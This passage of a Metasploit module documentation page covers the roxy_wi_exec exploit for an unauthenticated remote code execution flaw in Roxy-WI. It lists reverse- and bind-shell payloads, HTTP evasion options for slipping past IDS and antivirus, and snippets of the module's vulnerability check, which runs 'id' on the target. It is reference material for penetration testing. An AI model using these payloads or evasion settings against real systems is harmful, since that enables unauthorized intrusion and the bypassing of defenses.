42 payload/cmd/unix/reverse_ksh normal No Unix Command Shell, Reverse TCP (via Ksh)
43 payload/cmd/unix/reverse_lua normal No Unix Command Shell, Reverse TCP (via Lua)
44 payload/cmd/unix/reverse_ncat_ssl normal No Unix Command Shell, Reverse TCP (via ncat)
45 payload/cmd/unix/reverse_netcat normal No Unix Command Shell, Reverse TCP (via netcat)
46 payload/cmd/unix/reverse_netcat_gaping normal No Unix Command Shell, Reverse TCP (via netcat -e)
47 payload/cmd/unix/reverse_nodejs normal No Unix Command Shell, Reverse TCP (via nodejs)
48 payload/cmd/unix/reverse_openssl normal No Unix Command Shell, Double Reverse TCP SSL (openssl)
49 payload/cmd/unix/reverse_perl normal No Unix Command Shell, Reverse TCP (via Perl)
50 payload/cmd/unix/reverse_perl_ssl normal No Unix Command Shell, Reverse TCP SSL (via perl)
51 payload/cmd/unix/reverse_php_ssl normal No Unix Command Shell, Reverse TCP SSL (via php)
52 payload/cmd/unix/reverse_python normal No Unix Command Shell, Reverse TCP (via Python)
53 payload/cmd/unix/reverse_python_ssl normal No Unix Command Shell, Reverse TCP SSL (via python)
54 payload/cmd/unix/reverse_r normal No Unix Command Shell, Reverse TCP (via R)
55 payload/cmd/unix/reverse_ruby normal No Unix Command Shell, Reverse TCP (via Ruby)
56 payload/cmd/unix/reverse_ruby_ssl normal No Unix Command Shell, Reverse TCP SSL (via Ruby)
57 payload/cmd/unix/reverse_socat_udp normal No Unix Command Shell, Reverse UDP (via socat)
58 payload/cmd/unix/reverse_ssh normal No Unix Command Shell, Reverse TCP SSH
59 payload/cmd/unix/reverse_ssl_double_telnet normal No Unix Command Shell, Double Reverse TCP SSL (telnet)
60 payload/cmd/unix/reverse_stub normal No Unix Command Shell, Reverse TCP (stub)
61 payload/cmd/unix/reverse_tclsh normal No Unix Command Shell, Reverse TCP (via Tclsh)
62 payload/cmd/unix/reverse_zsh normal No Unix Command Shell, Reverse TCP (via Zsh)
63 payload/generic/custom normal No Custom Payload
64 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
65 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
66 payload/generic/ssh/interact normal No Interact with Established SSH Connection
Evasion Options
Here is the full list of possible evasion options supported by the linux/http/roxy_wi_exec exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(linux/http/roxy_wi_exec) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::chunked false no Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression none no Enable compression of HTTP responses via content encoding (Accepted: none, gzip, defl
ate)
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::junk_headers false no Enable insertion of random junk HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::no_cache false no Disallow the browser to cache HTTP content
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apac
he)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apa
che)
HTTP::server_name Apache yes Configures the Server header of all outgoing replies
HTTP::shuffle_get_params false no Randomize order of GET parameters
HTTP::shuffle_post_params false no Randomize order of POST parameters
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all,
u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
TCP::max_send_size 0 no Maximum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
Go back to menu.
Error Messages
This module may fail with the following error messages:
Error Messages
- Didn't receive a response from <PEER>
- The device responded to exploitation with a 200 OK and test command successfully executed.
- The target did respond 200 OK response however it did not contain the expected payload.
- The <PEER> did not respond a 200 OK response and the expected response, meaning its not vulnerable.
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Didn't receive a response from <PEER>
Here is a relevant code snippet related to the "Didn't receive a response from <PEER>" error message:
95: def check
96: print_status("Checking if #{peer} is vulnerable!")
97:
98: res = execute_command('id')
99:
100: return CheckCode::Unknown("Didn't receive a response from #{peer}") unless res
101:
102: if res.code == 200 && res.body =~ /uid=\d+\(.+\)/
103: print_status("#{peer} is vulnerable!")
104: return CheckCode::Vulnerable('The device responded to exploitation with a 200 OK and test command successfully executed.')
105: elsif res.code == 200
The device responded to exploitation with a 200 OK and test command successfully executed.
Here is a relevant code snippet related to the "The device responded to exploitation with a 200 OK and test command successfully executed." error message:
99:
100: return CheckCode::Unknown("Didn't receive a response from #{peer}") unless res
101:
102: if res.code == 200 && res.body =~ /uid=\d+\(.+\)/
103: print_status("#{peer} is vulnerable!")
104: return CheckCode::Vulnerable('The device responded to exploitation with a 200 OK and test command successfully executed.')
105: elsif res.code == 200
106: return CheckCode::Unknown('The target did respond 200 OK response however it did not contain the expected payload.')
107: else
108: return CheckCode::Safe("The #{peer} did not respond a 200 OK response and the expected response, meaning its not vulnerable.")
109: end
The target did respond 200 OK response however it did not contain the expected payload.
Here is a relevant code snippet related to the "The target did respond 200 OK response however it did not contain the expected payload." error message:
101:
102: if res.code == 200 && res.body =~ /uid=\d+\(.+\)/
103: print_status("#{peer} is vulnerable!")
104: return CheckCode::Vulnerable('The device responded to exploitation with a 200 OK and test command successfully executed.')
105: elsif res.code == 200
106: return CheckCode::Unknown('The target did respond 200 OK response however it did not contain the expected payload.')
107: else
108: return CheckCode::Safe("The #{peer} did not respond a 200 OK response and the expected response, meaning its not vulnerable.")
109: end
110: end
111:
The <PEER> did not respond a 200 OK response and the expected response, meaning its not vulnerable.
Here is a relevant code snippet related to the "The <PEER> did not respond a 200 OK response and the expected response, meaning its not vulnerable." error message:
103: print_status("#{peer} is vulnerable!")
104: return CheckCode::Vulnerable('The device responded to exploitation with a 200 OK and test command successfully executed.')
105: elsif res.code == 200
106: return CheckCode::Unknown('The target did respond 200 OK response however it did not contain the expected payload.')
107: else
108: return CheckCode::Safe("The #{peer} did not respond a 200 OK response and the expected response, meaning its not vulnerable.")
109: end
110: end
111:
112: def exploit
113: print_status('Exploiting...')
Go back to menu.
Related Pull Requests
- #16982 Merged Pull Request: Update Dell iDRAC login scanner to work with v8 and v9
- #17032 Merged Pull Request: Add module for pfSense pfBlockNG unauth RCE as root - CVE-2022-31814
- #17116 Merged Pull Request: Adding CVE-2022-22947 Spring Cloud Gateway RCE Exploit
- #17092 Merged Pull Request: netlm_downgrade: Cleanup and support non-Meterpreter sessions
- #16987 Merged Pull Request: guard for all possible RubySMBError conditions
- #17123 Merged Pull Request: netrc and fetchmailrc docs
- #17057 Merged Pull Request: Msf::Post::Windows::ExtAPI: Remove load_extapi method
References
- https://pentest.blog/advisory-roxywi-unauthenticated-remote-code-execution-cve-2022-3113/
- https://github.com/hap-wi/roxy-wi/security/advisories/GHSA-53r2-mq99-f532
- https://github.com/hap-wi/roxy-wi/commit/82666df1e60c45dd6aa533b01a392f015d32f755
- CVE-2022-31137
See Also
Check also the following modules related to this module:
- exploit/linux/http/artica_proxy_auth_bypass_service_cmds_peform_command_injection
- exploit/linux/http/ipfire_proxy_exec
- exploit/linux/local/vmware_workspace_one_access_certproxy_lpe
- exploit/linux/proxy/squid_ntlm_authenticate
- exploit/multi/browser/firefox_proxy_prototype
- exploit/osx/browser/safari_proxy_object_type_confusion
- exploit/unix/webapp/google_proxystylesheet_exec
- exploit/windows/http/exchange_proxylogon_rce
- exploit/windows/http/exchange_proxynotshell_rce
- exploit/windows/http/exchange_proxyshell_rce
- exploit/windows/http/psoproxy91_overflow
- exploit/windows/local/ms15_004_tswbproxy
- exploit/windows/local/ms_ndproxy
- exploit/windows/misc/asus_dpcproxy_overflow
- exploit/windows/proxy/bluecoat_winproxy_host
- exploit/windows/proxy/ccproxy_telnet_ping
- exploit/windows/proxy/proxypro_http_get
- exploit/windows/proxy/qbik_wingate_wwwproxy
- exploit/linux/http/advantech_switch_bash_env_exec
- exploit/linux/http/dlink_hedwig_cgi_bof
- exploit/linux/http/smt_ipmi_close_window_bof
- exploit/linux/http/trendmicro_imsva_widget_exec
- exploit/linux/http/wipg1000_cmd_injection
- exploit/linux/snmp/awind_snmp_exec
- exploit/linux/ssh/solarwinds_lem_exec
Authors
- Nuri Çilengir <nuri[at]prodaft.com>
Version
This page has been produced using Metasploit Framework version 6.2.29-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.
